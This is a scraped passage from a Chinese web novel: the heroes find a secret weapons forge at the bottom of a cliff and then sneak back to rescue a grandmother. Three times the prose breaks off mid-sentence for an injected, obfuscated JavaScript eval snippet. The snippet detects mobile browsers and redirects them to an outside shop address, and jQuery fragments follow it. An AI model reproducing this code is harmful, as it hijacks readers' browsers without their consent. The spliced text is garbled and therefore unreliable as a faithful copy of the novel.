是沈巍,是军饷被盗案。 苏瞿白来丰泽县,利用梁温都是因为军饷被盗案,这就是他们想要的。 不得不说,柳薇的话外音还真是隐晦啊。 梁温将这些话讲给苏瞿白听,他舒了口气:“怪不得。” 若是柳薇直接将崖底的秘密告诉梁温,梁温和苏瞿白一定会去探查究竟。 这样未必不会打草惊蛇,一但暴露,梁温的活路便小了。 苏瞿白虽然有门路,但这里终究是沈巍的地盘,强龙压不过地头蛇,更何况苏瞿白是不是强龙还犹未可知的情况下,柳薇自是不会选择这样一条险路。 柳薇要的是确保万无一失。 最好的法子就是让梁温的消失合理合法且不被人发现。 那么梁温的“死”就是很好的一环。 梁温不知该怎么说,说她来到丰泽县之后遭遇的是一系列的“无妄之灾”还是“罪有应得”。 她掺杂其中,不无辜。 其实梁温更加关注的点是柳薇和梁旭川的事。 因为这样一个人,将自己搭上,甚至筹谋多年却也要将他的女儿保住。 她很好奇,梁旭川究竟是怎样一个人。 在柳薇口中,梁旭川是一个温和恭敬,躬身为民的好官。甚至梁温觉得在柳薇心里,梁旭川更像是她的父亲一般。 在祖母口中,梁旭川是一个没那么聪明,却也不愚笨的人。除此之外,再无旁的话。 在沈巍口中,梁旭川是一个重情重义,能为其两肋插刀的好兄弟。 但梁温没见过,无论是哪个“梁温”都没见过,脑海中对他的印象都来自别人口中。 梁温沉沉想着,突然问向苏瞿白:“你知道我父亲吗?” 苏瞿白哑然,没想到她会问这个,还是回道:“知道。” “你知道我当初是怎么晓得你的女子身份吗?”苏瞿白看她眼中有些生惑,“是从你父亲口中。” 梁温一眨不眨的看着他,不清楚他这话的由来。 “你父亲与我父亲是旧识,少年好友。当初你我两家府邸就隔了一条街,梁叔时常来我家议事,我当时还小,他每次来都要抱抱我。” 苏瞿白看着梁温,她这张脸不像梁旭川的妻子,更像父亲。 “我五岁生辰宴时,是我最后一次见到他。那天他格外高兴,和我父亲饮酒饮到深夜。他喝醉了,抱着我说他也要当父亲了。大夫诊出来了,是个女孩儿。” 寒风裹挟着他的话飘向远方,苏瞿白的思绪也随着飘向二十年前。 徐徐的夜风跨过院墙而来,五岁的苏瞿白还没梁旭川腿高。 圆木桌上,他的母亲因身体不好先回房休憩了,剩下他父亲苏柄和梁旭川对月而酌,苏瞿白身上披着披风看着他们。 父亲喜欢和梁叔畅饮,但他酒量不好,常常喝到一半就醉倒了。 这次也一样,手里还端着酒杯,脸已经贴上圆木桌了。 梁旭川笑了两下,脸上满是畅快。 他笑着将酒杯放下,抱过旁边眼睛瞪的滴溜圆的苏瞿白。 他小时候眼睛又圆又大,不过随着年岁渐长,眼睛变得狭长,配上硬朗的眉骨,整个人都透着凌厉。 再不似稚童时懵懂可爱。 苏瞿白被梁旭川抱在腿上,小短腿悬着,时不时踢上垂落的衣摆。 梁旭川身上常年有药草的清香,有点偏苦,但苏瞿白格外喜欢闻。 尤其是被他抱在怀里时,小小的人一窝,跟个雪团子似的。 苏瞿白父亲都不曾这样抱过他,所以梁旭川在他那里总是特殊的。 “白白啊,我告诉你个秘密。”梁旭川的声音总是很温和,眼中含情,看谁都像是带着笑。 苏瞿白却抿紧了嘴:“梁叔,您叫我瞿白,不要叫白白。” 梁旭川好好好的应声,却还是一口一个白白。 幼年的苏瞿白为此苦恼了很久,他觉得这个白白太弱了,一点都不威猛。 但梁旭川喜欢,他就只能受着。 但只有梁旭川能喊,苏柄有时揶揄两句苏瞿白都是要恼的,小小的身子背过去,任谁叫都不回头。 “白白啊,梁叔今天特别高兴。”梁旭川这么说着,就又痴痴笑起来。 苏瞿白看出来了,他小小的身子随着梁旭川在抖。 圆月挂在天上,零散的星星缀着。 梁旭川身上有些酒气,混着药香,又是一种特别的气味儿。 “梁叔我要当父亲了。”梁旭川嘴角都下不去。 “我要有弟弟了吗?”苏瞿白看着他,圆圆的眼也透着欢喜。 “你喜欢弟弟吗?”梁旭川温声问着。 苏瞿白点点头,满是认真:“我可以教他识字,他也可以陪我练武。” “那……不是弟弟怎么办?”梁旭川逗他。 苏瞿白也没犹豫:“妹妹也好,以后我保护她。谁都不能欺了她去,若是有,我便打回去。” 梁旭川笑得面色潮红:“大夫看过了,是个妹妹。” “我梁旭川也要做父亲了,我梁旭川也要有个女儿了。” 苏瞿白觉得那应该是梁旭川笑得最高兴的一次,笑着笑着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964654|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角还有泪留下来。 梁旭川平时虽然也总是挂着笑,但不是这种发自内心的,而是习惯性的笑着。 他真的很喜欢很喜欢这个女儿。 不,他是爱。 他醉了,嘴里不停念叨着,苏瞿白听得清清楚楚,他念的是:“我有女儿了……” 那天以后,苏瞿白便再也没见过梁旭川了。 他被暗中派出去了,没人知道他去了哪里,就连苏柄都不知道。 再后来,传来的就是他身亡的噩耗。 那个有温度,会抱着他轻声哄的梁叔,成了棺材里不会说话只会闭着眼的尸体。 他茫然。 灵堂上满是悲泣,他见到了梁叔的妻子徐氏。 圆滚滚的肚子挺着,跪在地上抱着棺椁的一角哭的死去活来的,肚子也随着抽搐,让人看着就觉得害怕。 梁老夫人被人搀扶着,眼角落泪就擦去,再落泪再擦去。 苏瞿白穿着素衣走到徐氏身旁,蹲下身来,指尖停在她肚子上。 只隐约触到一瞬便拿开了。 那一刻,泄洪般的悲伤涌上心头。 眼睛睁的圆圆的,泪却珠串般落下来,砸在地上。 那天,是他的父亲在他记事来第一次抱他。 和梁旭川的怀抱不一样,这个胸膛更硬一些。 说的话也不温和,冷硬的让苏瞿白一下就分辨出了他们的不同。 他抱住父亲的脖颈,将头藏在肩头,不让人看出他的悲来。 但苏柄肩头上的衣袍却湿了一大片。 苏柄也沉默着,后来苏瞿白再也没见过他喝酒。 在他们心里,梁旭川是特殊的。 是一个人多年的挚友。 是一个人亲如生父的叔叔。 是一个人亲手栽培长大的儿子。 是一个人全心全意依靠的丈夫。 更是一个人未曾见面的父亲。 还是一百多口人的主君。 这样特殊的一个人,此刻倒下了。 苏瞿白是力竭哭晕的,后来生了场大病,不太记得以前的事了。 再后来,梁家主母徐氏身亡,诞下遗腹子。 梁老夫人拒绝见客,宣称梁家获麟儿。 不是喜获麟儿,没有喜。 再后来,梁老夫人带着梁温离开了那座府邸。 那座府邸只剩下些扫洒的奴仆。 二十年后,苏瞿白成了盛京世家口中的心狠手辣的怪人。 受圣上器重,暗中追查军饷被盗案。 来到丰泽县,遇到梁温。 他当时只觉得这个名耳熟,没想起来。 后来想起来了,但有点晚了。 他失言了。 他说的,要保护好她,谁都不能欺了她去。 结果,确是他亲手将她扯入诡局中。 梁温静静听着苏瞿白讲述着。 风声停滞许久,梁温喃喃开口:“他是个什么样的人?” 其实她有点知道了,但还是忍不住问。 “是个极好极好的人。” “是个顶天立地的人。” “是世上最爱你的人。” 苏瞿白的话落,梁温毫无预兆的落下泪来。 “我像他吗?” “很像很像。” 梁温有些愣愣的,半晌儿才哦了一声。 39. 兑现赌注 梁温收敛了情绪,但眼底始终有茫然。 “你说你把事情都忘了,又是怎么记起我的?” 苏瞿白将手伸到梁温颈侧,手指掀开一点衣领,将露出的一截黑绳抽出,黑绳上缀着白玉坠。 他适时收回手,梁温低头看向那个白玉坠。 她取下,黑绳戴了好些年,已经有些磨损了。 “这个是你父亲留给你的。”因着梁温低垂着头,苏瞿白看不清她的脸。 也不知道她现在是何情绪。 梁温一下又一下的摩挲着那个玉坠子,温润的触感,是个极好的品质。 “走吧。”梁温将玉坠子系回脖颈,抬眼看着他。 “好。”苏瞿白吹灭火折子,再也看不清梁温的脸。 他将梁温放回背上,用藤蔓将他们二人系紧。 一点一点向下爬。 这里实在是太深了,越往下寒意越重。 苏瞿白呼出的每一口气息都带着白白的气,梁温用力抱着他的脖颈,两人紧贴的地方倒是温暖。 “柳薇会出事吗?” 苏瞿白想了想:“不会的,她那么聪颖,定然会给自己留条退路。” “那元岐呢?” “元岐是柳薇的人,她会保他的。” 梁温其实都明白,只是想找个人说说话,但又不知该说什么好。 什么都问完了,什么都说完了。 梁温找不到开口的理由了。 她闭上眼,慢慢沉入黑暗。 恍惚间,她好像听到了耳边有稚童的读书声。 一声又一声,那么稚嫩的声音,一板一眼的坐在窗前读书。 一本又一本。 好像这辈子都读不完一般,好生冗长。 苏瞿白感受到梁温平稳的呼吸后速度慢了些,不仅是为了让她好好休息,更是因为接下来的路没有凸出的平地了。 这意味着,苏瞿白得一口气爬下去。 不然,一但缷力,他们都要摔下去。 柳薇他们准备的藤蔓自是不够支撑他们爬到崖底,但苏瞿白下来时只留了两根剩下的都割下来系在身上。 多留一根是怕一根藤蔓撑不住两个人的重量,每到藤蔓末端,苏瞿白便解下一根藤蔓系上,就这样一点点往下爬。身上的藤蔓也消耗的差不多了。 苏瞿白仔细辨别着脚下,对梁温的注意自然就减弱了,也就没注意到梁温呼出的气越来越热。 身体被寒冷麻痹了,苏瞿白只会重复着往下爬的动作,思考不了一点。 崖底上的岩石越发少了,湿泥越来越多,苏瞿白的乌靴被划破了。 苏瞿白好似听到了水声,滴答滴答的。 他朝下一望,焦黑色的土地上长满了枯树,树上的叶子稀落。 干裂的嘴唇咧起笑,他稍稍偏头:“梁温……”我们到了。 话没说完他就感受到了梁温的不同,梁温的头没有依靠的倒着,眉头微蹙。 他没有拖延立刻往下爬,快要接近地面时却双腿一滑,两个人都掉了下来。 苏瞿白赶忙翻身垫在下方,解下腰间的藤蔓,探查起梁温的情况。 “梁温。” “梁温。” 苏瞿白一声声唤着,手抚向她的额头。 好烫! 得降温,对。 苏瞿白想到他方才听到的水滴声,扯下自己衣摆的一块布来,将梁温放在树后遮风。 自己去了四周寻找,火折子再度亮起,没见到水。 他将耳朵贴紧崖壁,除了自己的心跳声还听到了微小的水声。 他顺着往前走,最后在一处凹陷的崖壁上找到了湿漉漉往下流的水。 他将那块布贴上去,等全部洇湿叠好,跑回放在梁温的额头上。 摘下宽大的叶子,又取了些干净的水喂给她。 他想起他给过梁温救命药,此刻也顾不上男女有别了,解开她的外袍,摸向她的腰间。 匕首。 不是这个,苏瞿白扔到一边。 瓷盒。 是这个,苏瞿白一把揭开,随后发现里面空空如也。 她都用下了。 苏瞿白心下缓了缓,用下了就好,用下了就好。 三颗都用了,命绝对能保住。 他将梁温搂紧怀中,每过一会儿就要将额头贴上去感受。 梁温睁开眼时,直直对上苏瞿白的眼。 “苏瞿白,我做梦了。” “那个梦……太可怕了。” “在梦里,有一个小孩儿,不哭不闹,只是坐在窗前看书,从早到晚。” 苏瞿白伸手蒙上她的眼:“梦都是假的。” “别信。” 梁温闭上眼,睫毛划过苏瞿白的掌心,痒痒的。 “可那太真了。”梁温知道不是假的。 她被禁锢在那个小孩儿的身体里,一动不动,被迫和她一起看书,看书,还是看书。 “我没事了,走吧。”梁温取下他的手,将额头上的湿布取下。 还是有点热,但是时间紧迫,因为她已经耽误了不少事了。 得加快了。 祖母还等着她呢。 她得赶回去,不能将祖母留下。 梁温被搀扶起来,对着身旁的苏瞿白道:“你去帮我找根能杵着的棍子来。” “我背你。”苏瞿白作势就要蹲下。 梁温拉住他:“不用。” “苏瞿白,你太累了,我可以的。” 苏瞿白起身,笑起来:“你心疼我啊。” “是啊。”梁温毫不迟疑。 苏瞿白反倒没开口,沉默了。 默不作声去找棍子,也不知是没走稳还是没看路,脚下踉跄,差点摔了。 梁温看着,笑了声。 梁温杵着柺,一蹦一跳的走着。 苏瞿白落后半分,搀扶着她。 这样速度竟也快了起来。 地面的雾气倒是散了些,风也小了。 他们照着柳薇信上所说,往右边走着。 视野越来越开阔,耸立的崖壁逐渐低矮,漆黑幽暗的天也敞亮起来,成了灰色。 但又走了一截竟是直接走入了狭窄的暗道,他们走着,一堵巨石横挡将路拦住了。 苏瞿白越看越觉得眼熟。 突然他顿住脚步,梁温也停下,不做声的看向他。 苏瞿白缓缓摇头,梁温明白点头。 苏瞿白放轻脚步贴上巨石,顺着上面裂开的石缝两三下攀上。 他俯着身子,看着不远处穿着私服手拿长刀的人巡视着。 他正看着,衣角被人扯住。 他低头,梁温指向旁边,那里野草丛生,野草后有个隐蔽的洞口。 苏瞿白轻声爬下。 “我去探探,你在这儿等我。”苏瞿白压低声音。 梁温点头。 她也知道自己不可能跟着去,如今她就是个拖后腿的,若是真跟着去了,出了事,就是给苏瞿白添麻烦。 苏瞿白也没叫她在巨石后等着,而是把她搀扶但野草丛里的空地上,她一坐下,野草遮掩了她的身形。 安全一些。 安置好梁温,苏瞿白手下意识摸向腰间,却摸了个空。 梁温一看,将手中的刀递给他。 这是他爬上巨石时扔在地上的,她捡了来。 苏瞿白爬进了那个半人高的洞口,半弯着腰,亮着火折子,一点点摸索。 暗洞不长,但是向上蜿蜒,且越来越窄,最后苏瞿白只能趴着匍匐前行。 脚步声越发大了,苏瞿白鬓角的汗顺着脸颊流下。 他微微抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978167|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,巴掌大的小孔出现在他眼前。 透过小孔,苏瞿白看到了下方山洞的情景。 上百号壮汉打着赤膊,哼哧哼哧的用锤子敲打着烧的通红的生铁。随后放入水槽,窸窸窣窣的沸腾声冒出。然后被壮汉扔进旁边的木箱子。 是箭矢。 他看向另一边,是长刀。 又是几十人进入,他们将装满的木箱子阖上,携力抬到角落里。 角落里摞着密密麻麻的木箱子,粗略看去,至少千箱。 私造兵器。 苏瞿白当真没想到柳薇送他们这样大一个礼。 有了这个,沈巍的罪名就坐实了。 怪不得她这般重视,设下这样的局来。 苏瞿白没惊动人,他接着看着。 不止有兵器,还有粮草和矿石。 突然看到好些个熟悉的身影,他皱起眉,仔细回想着。 视线落在那些人脚腕上,经年镣铐带来的痕迹早就无法消除,是大狱里的死囚。 苏瞿白乔装入矿山时和他们打过好些日子的照面,有印象。 当时他们闹事,被鞭子抽了好一顿。 对上了,这下全都对上了。 落定山时常失踪身亡的人,关山上的山匪劫粮。 如今在这里,全都对上了。 得到了想要的,接下来就是要将信给传出去。 出幽州,是最大的阻碍。 他悄声退下,一点一点爬出暗洞。 洞口外,梁温紧紧盯着,目光一刻不曾偏移。 直到苏瞿白的身影出现,她才安下心。 “如何?”她低声问着。 “柳薇还真是个奇女子。”苏瞿白打心眼里敬佩柳薇。 一个孤女,竟能将所有人骗得团团转。 一个孤女,只身将沈巍的秘密全部探出。 不是奇女子,又是什么。 玩弄人心,玩弄权谋,却叫人分毫看不出。 柳薇,真的很可怕。 苏瞿白将他在暗洞里看到的向梁温一一道出。 梁温听着:“当然,女子绝不会输于男子。” 她们只是受了时代的限制,思想被束缚。 若是没了这些,若是她们不在耽于后宅的勾心斗角,情情爱爱,是必然要让这个时代震惊的。 梁温朝他道:“你拿到沈巍的罪证了,现在就走。” 苏瞿白:“你随我一起,幽州已经容不下你了。” “不了,我得回去,祖母还在等我。”梁温摇头。 梁老夫人是梁温最后的亲人了,她不能出事。 梁温得守着。 沈巍的人已经将县衙给围了,梁老夫人并不是安全的。 而且,祖母对梁温来说,很重要,最重要。 “放心,没事的。在他们眼里我只是失踪了,到时候就说我跌落山崖,侥幸捡下一条命。”梁温一字一句,但连她自己都不信。 沈巍不是愚笨的人,怎会猜不出疑点。 且柳薇和元岐也不知道怎么样了,若是他们落入沈巍手里。 那可就……危险了。 苏瞿白哪能听不出梁温这是在安抚他,但他哪能想不到梁温的言下音。 “我同你一起去。” “不用。”梁温拒绝,这是她一个人的事。 “梁温,你记得我们还有一个赌约吗?”苏瞿白看着她,“赌注我还没说呢。” “你想要什么?”梁温有点猜到了。 “赌注就是我和你一起去。”许是怕梁温不认,苏瞿白又说道:“你说你认输了。” “你说的。” 梁温哑然,不再拒绝。 也说不出口。 两个人贴的近,走在路上,朝着反方向回去。 日光晃眼,他们的身影被无限拉长。 40. 月儿高高 沈府。 徐良快马加鞭赶回,将马扔给门口值守的人后就快步赶至书房。 他抬手敲门,沈巍的声音传来:“进来。” 徐良才踏进一只脚,就急着说:“主子……” 话没说完,就见沈巍面前站着一位女子——正是失踪已久的柳薇。 “柳医女。”他问了声好,没做作声站到沈巍身侧,附身耳语:“元岐找到了,就在丰泽县。” 沈巍扔了笔,靠坐在椅背上,好整以暇的看着柳薇:“柳医女没什么想说的?” 柳薇站的直挺,一双清亮的眼看着他:“该说的我都说清了,十日前我便像主母告假了,这十日一直在望畿山上采药,今日才回来。您若是不信,可以回医馆瞧瞧,才来的药草还没处理。” 柳薇脚上还沾着泥土,身上的衣着也是采药时专门做的灰色胡服。 她才回医馆就被盯守在那里的人带回了沈府,匆匆忙忙,也没来得及换上一身行头。 沈巍一直盯着她脸上的神情,不见任何心虚之色。 “你可知元岐找到了?”他试探着开口,眼中的审视意味越发明显。 “哦,是吗?”柳薇像是突然来了兴色,“那很好啊。” “他现在在何处?没回来吗?若是回来叫他来医馆寻我,我给他瞧瞧身子。”柳薇毫不避讳的说着自己与元岐过近的关系。 沈巍时常皱眉,眉心早已留下一道褶痕,看着便让人觉得凶厉:“听崔嬷嬷说,你和元岐关系不错。” “挺好的,他生性率朗,我拿她当弟弟看。”柳薇在心里确实拿元岐当弟弟看,只不过是她这个自认的姐姐目的不纯粹罢了。 沈巍没再问了:“去瞧瞧云颍吧,她最近不太舒服。她用惯了你,别人用着都不大顺手。” 柳薇颔首,推开门走出,熠熠的日光照在她身上,暖洋洋的。 嘴角勾起笑,朝着卫云颍的院子去了。 书房内,沈巍对着身侧的徐良道:“去查查。” 徐良晓得是什么事,抱拳颔首走人。 柳薇和元岐虽不是一同失踪,但中间失踪的时间却有重叠,且他们同时出现也太过巧合了。 徐良走后,藏在墙角的柳薇才转身有人。 查吧,越查越有意思。 那日元岐丢下药瓶离开后,她转身跟了上去。 柳薇看着颓着身子,半死不活般的元岐问:“你要去哪?” “当然是回县衙啊。”元岐身上湿漉漉的,难受的紧:“不然我还能去哪?我又能去哪?” “也好。”柳薇应声。 元岐顿住脚步,偏头看她。 此时天色昏暗的紧,他的脸被黑暗蒙住,辩不轻情绪。 柳薇等着他的下言,元岐声音闷闷的:“你呢。” “我回落定山。” 元岐瞬间就知道她早就做好了安排。 柳薇多解释了两句:“你放心回县衙,我都安排好了,会有人帮你。” “你呢?你把自己安排好了吗?” “嗯。我先前便向卫云颍告假了,声称去落定山采药。我确实去了,不过之后的人不是我罢了。” 柳薇向来喜欢戴着幂篱示人,她知道沈府肯定会派人看着她,但柳薇一直都在落定山采药不是嘛。 “为什么要回去?你若是与我一同出现,沈巍必定会怀疑。”元岐向来看不清柳薇。 “不回去,他就不会生疑吗?”柳薇哂笑一声:“如果我猜的不错,他知道我们一同失踪时就已经起疑了。回去,反倒会打消一些他的怀疑。” “元岐,这次回县衙,我们就没关系了。”柳薇的声音格外冷淡:“以后,你是沈巍的下属,我是卫云颍的医师。我们之间仅有那点关系就是你是病人,我是医者。” 黑暗好像将元岐的嗓音都夺了去,他闷声许久才从喉咙里滚出一声:“嗯。” 元岐头也不回的走了,柳薇站在原地就这样看着,看着他的身影渐渐消失。 “柳薇?” “柳薇?” 卫云颍柔柔的唤着她,柳薇收回思绪,专心为她把脉。 “没什么大碍,最近不要吃冷食,汤药按时服用。”柳薇收回手,将卫云颍腕上的帕子取下。 卫云颍收回手:“汤药都喝着呢,只不过我这身子,难好了。” 柳薇没接话,卫云颍说的是实话。 丧子,丧兄,丧父,这诸多复杂的情绪掺杂在一起,早就成了她的心病。 有时候犯迷糊,发了疯,谁都不认。 眼前这个温婉的女子早就被耗空了,只剩下一具躯壳空留在世上死撑着。 为了她的夫君撑着。 柳薇进府多年,知道沈巍和卫云颍之间的情意有多么深重。 卫云颍缠绵病榻多年,姣好的容颜日渐消瘦,但也有柔弱的美。 待人和善,从不大声训斥过身边的人。 可就是这样一个人,遭遇了诸多惨事。 柳薇恨沈巍,她恨沈家的每个人,但是唯独对卫云颍恨不起来。 府上总会有惋惜的声音出现,奴仆私下里没少叹息卫云颍这样一个好主母却没有福命,简直是老天爷不开眼。 可怜她,同事她,嫉妒她…… 柳薇都不,她只是有点心疼她。 汤药很苦,银针刺穴的次数多了也难受,但她从不曾抱怨什么。 最多就是窝在沈巍怀里轻轻唤他夫君。 这样一个人,她恨不起来,同情不起来。 卫云颍今日清醒,见屋内众人都有些沉闷,便笑着说:“你瞧我这张嘴,把你们都说成哑巴了。” 卫云颍抚上柳薇的手:“行了,你刚采药回来,先回去歇着吧,我这没什么别的事了。” 柳薇起身:“那您好好养着,有事唤我。刚采了新药来,这段日子会一直待在医馆。” “行,快去歇着吧。”卫云颍半靠在榻上,朝她挥了挥手。 柳薇这才离去。 卫云颍朝着崔嬷嬷招手:“夫君那边怎么说?” “主君说暂时不用动。” “嗯。”卫云颍有些倦了,“叫人盯好了。” 柳薇回到医馆便察觉到侍童总是盯着她,她索性不再抬头,安心炮制着自己的药草。 还是太年轻了。 心思都遮不住。 月上树梢,残影映在地上。 梁温和苏瞿白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992878|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窝在铺满稻草杆儿的牛车里,车前的老汉架着车,嘴里哼唧着民间谣。 梁温浑身都疼,听着这曲反倒分了些神去。 “这是什么曲儿?”她悄声问苏瞿白,她听不懂,就是觉得调子很好听。 “是他们民间编的曲子,没名字,就是口口传唱下来的。”苏瞿白也听不懂,但是他了解一些。 苏瞿白见她有兴致:“你喜欢?” 梁温点了点头:“身上哪哪都疼,听了这个,能分些神,缓解一些。” 她的声音极小,话落在苏瞿白耳边,显得格外软和,听得他心头痒痒。 “想不想听些别的?” “你会吗?”梁温有点讶异,苏瞿白看起来不像是会吟诗弄曲的人,反倒是成天腰间挂把刀,舞枪弄棍倒是称他。 “会一首民间童谣。”苏瞿白对上梁温讶异的眼有些好笑,这是什么奇异的事吗? “你唱我听听。”梁温起了兴致,她还没听过苏瞿白唱曲儿。 他清了清嗓音,这才缓缓开口:“月儿高高,人儿小小。风儿静静,鼓儿响响。她穿新衣,他换旧袄……” 很平的调子,但苏瞿白的声音很轻。 像是羽毛落在湖面上,泛起层层涟漪。 梁温看着夜幕,渐渐闭上了眼。 驾车的老汉听见他的声音索性不唱了,乐呵的听着。 梁温觉得身上的疼都褪去了,她置身于虚幻的梦中,漂浮。 苏瞿白唱了一遍又一遍,知道梁温平稳的呼吸声传来,他才盯着她唱完了最后一遍。 他坐起身来,将披着的外袍给她掖了掖。 梁温眼底有明显的青黑,本来人就瘦,这下更是只剩下一把骷髅架子了。 老汉见他声音听了,往后望了望,看到他坐着看身侧的人。 “他睡着了?”善意的声音从苏瞿白背后响起,他嗯了一声。 老汉也低下声:“你们是哪儿的人啊?瞧着白白嫩嫩的,怎么将自己搞成这样?” 他刚见到苏瞿白和梁温时被吓了一大跳,随后苏瞿白将刀上缀着的一块宝石扣下来抵给他,老汉才同意带他们一段路。 这里是幽州的外围,地势不高,多是平地。 风也温温柔柔的吹着。 苏瞿白含糊着说:“我们去关外送货,结果碰上山匪劫道,将我们的东西都抢了去。” 老汉哎呦一声:“真是造孽啊。幽州的山匪太嚣张了,也没个官差管管。现在这些官员啊,吃白饭的真多啊。” 苏瞿白默着不做声,官差怎么管?连山匪都是官员弄出来的。 老汉见苏瞿白不说话也没不高兴,接着问上了别的:“你唱的那个是啥啊?挺好听的,你教教我,我学会了不要你们路费,我把那个宝石还你。” 苏瞿白摇头:“不用,您拿着就行。那个曲儿我也不知道叫什么。” 苏瞿白看向梁温脖颈露出的黑绳,笑了笑,随后接着唱到:“月儿高高,人儿小小。风儿静静,鼓儿响响。她穿新衣,他换旧袄……” 随着风一起飘向远方。 月儿高高,人儿小小,风儿静静……和现在还有点像呢。 苏瞿白看着前方,这样想着。 41. 进退两难 元岐换上一身月牙白翻领深袍,手拿折扇,潇潇洒洒的就要出门。 一只脚刚踏出,就被左右两边各伸出的一只手给拦住。 “干嘛呀这是?”元岐想用扇子推开,但却纹丝未动。 “孙磊让你们守着我安危可不是让你们囚禁我的。”元岐见他们还未动,嗤笑一声,直接用身子撞过去。 留下一句:“孙磊都不敢这样对我,你们算个什么东西。” 那两人敢怒不敢言,只能憋屈着脸跟在他身后。 元岐才刚到县衙就看到门口来回踱步的王主薄,他悄声走过去,将两只手放在王主薄的肩上,怪叫一声:“你在这干嘛呢?” 王主薄被他吓了一跳,没好气的将他的手打下去:“我都半截身子入黄土了,你还好意思吓我,吓死了算谁的。” 元岐顺手抚上王主薄的胸膛:“来来来,我给你顺顺毛。” “去去去,你当我是三岁小孩吗?”王主薄背过身去,一下就看到跟着元岐的两个人。 他皱着眉,将元岐一路拉至正堂。 “怎么回事啊?”他扬头示意外面那两个被衙役挡在门外的两个人。 元岐顺着他的视线看了一眼,不在意地开口:“别管他们,走狗罢了。” 元岐对孙磊的人向来不留口,怎么狠怎么来。 “最近县衙怎么样啊?”元岐问出今日来的目的。 王主薄往木椅上一坐,长叹一口气:“别提了,整个县衙都被围成铁桶了,所有的官差都出不去,别人也进不来。县衙就这么大,十几个兄弟挤一屋,都是敢怒不敢言。” 王主薄觉得他最近都馊了:“外面是沈巍的人吗?” 元岐摇头:“不是,是皇商孙家。” 王主薄放下心来:“不是沈巍就好。” 还没等他把心放肚子里,元岐又开口:“但是孙家是沈巍的人。” 王主薄一颗心又提起来了:“你说话怎么还大喘气呢?到底怎么回事啊?突然传回你们遇刺的消息,紧接着就是你和梁县令失踪,现在你回来了,梁县令呢?” 元岐看着他那一脸忧色,想到柳薇对他说的话,突然心生一计。 他蓦然勾起唇角,朝着王主薄勾勾手:“兄弟们是不是对外面的人怨声载道的?” “是啊。”王主薄丈二摸不着头脑。 “走,过两天带你们玩个好玩的,绝对解气。”元岐提步就朝着住所走去,王主薄赶忙跟上:“你还没说清楚事情原委呢?梁县令呢?还活着吗?” 梁温和苏瞿白到丰泽县已经是两日后了,这里的戒备加严了许多,但是凭借着苏瞿白的闪避直觉,二人也混入了丰泽县。 此时已是月黑风高,他们一路行至北巷的破庙,那里有苏瞿白率人挖的地道。往日苏瞿白悄不作声溜进县衙内院就是靠的这个,这里连通着梁温院子的地窖。 苏瞿白拿着火折子,火光映在石壁上,梁温杵着拐跟在他后面。 地道格外长,半个时辰后梁温见到了陌生的地窖。 这是她第一次来。 与她想象的有些不同,她以为会是那种木梯子,结果居然垒了石阶,这倒是方便了她上去。 不过,上去后怎么避人也是个问题,孙磊既然已经将县衙包围严实,不可能放过内院。 就在苏瞿白与梁温对视时,地面上突然传来骚动。 沉重的脚步落下,混乱的声音响起。 “走水了,快来救火啊。” “官差都跑了,快去追。” “快去找元岐,别让他跑了。” …… 数道声音夹杂着,梁温和苏瞿白都没听过,这是孙磊的人。 嘈杂过后这里陷入了沉寂,苏瞿白刚想冒头探探,结果地窖上方的石板便被人揭开了。 两人下意识躲到暗处,元岐熟悉的声音传来:“行了,别躲了,是我。” 梁温看向上方,见真是元岐和元宝,这才走出。 元宝显得很是紧张,哆哆嗦嗦的看向四周,生怕有人闯进来。 “你怎么在这儿?”梁温眼里存着戒备。 元岐哪能看不出来,但时间紧迫,也没法一一开口解释:“我是柳薇的人,不会害你。快去梁老夫人那里吧,外面的人撑不了多久的。” 苏瞿白和梁温没再问下去,事情得拿紧要的做。 元宝在前面带路,元岐去前院接着闹拖延时间。 等到了梁老夫人院中,梁温却发现一个仆从都没有,进了屋,只见刘嬷嬷扶着梁老夫人从屏风后走出。 “来了。”梁老夫人丝毫不意外。 屋内也不知燃了什么香,怪浓的。 梁老夫人打量着她,见她全身的伤,心中颇不好受:“怎么伤的这样重?” 梁温没回话,上前道:“祖母,跟我走。” 梁老夫人看向她的腿,摇头:“我走不了。” “能走。”梁温的心一滞,拐杖脱了手,想要拉着梁老夫人就走。 梁老夫人摸了摸她的头:“梁温,去做你想做的。沈巍盯着我们呢,若是我走了,他必然能想到,到时谁都走不了,祖母得在这里守着。” “您别管,今日您得走。不用和我说什么大道理,我听不进去,也不想听。”梁温深吸一口气,喉咙有些哽咽:“您是我梁温的祖母,我能护住你。” “梁温。”梁老夫人头一次对梁温这么大声,蕴着怒气:“别任性,你是个聪明的孩子。” 